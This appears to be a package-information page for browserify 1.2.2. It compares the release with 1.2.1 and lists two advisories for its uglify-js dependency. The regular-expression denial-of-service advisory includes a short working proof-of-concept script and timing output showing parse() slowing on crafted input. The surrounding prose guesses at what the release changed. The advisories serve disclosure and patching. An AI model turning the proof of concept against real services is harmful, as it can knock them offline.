Browserify 1.2.2 builds upon the solid foundation of version 1.2.1, offering developers a continued, reliable solution for browser-side module management using the familiar require() syntax. Both versions elegantly address the challenge of running Node.js-style modules within web browsers. The core functionalities remain consistent, empowering developers to organize JavaScript code into reusable modules and manage dependencies effectively. The package retains its dependencies on crucial libraries like nub, resolve, detective, and coffee-script, crucial for resolving module paths and analyzing code. Similarly, the suite of development dependencies, including testing tools like expresso and UI frameworks like backbone, showcases the commitment to quality and comprehensive testing that persists between versions.
While the core functionality and dependencies remain largely the same, the key difference lies in the release dates. Version 1.2.2 was released on June 27, 2011, a couple days later than version 1.2.1, which was released on June 25, 2011. This small gap suggests that version 1.2.2 likely includes bug fixes, minor improvements, or dependency updates that address issues found in the initial 1.2.1 release. For developers, staying updated is crucial, so it's generally advisable to opt for the later version (1.2.2) to benefit from any potential refinements and stability enhancements. When using browserify, developers are encourage to use the lastest version, since minor releases are very important for legacy software.
All the vulnerabilities related to the version 1.2.2 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.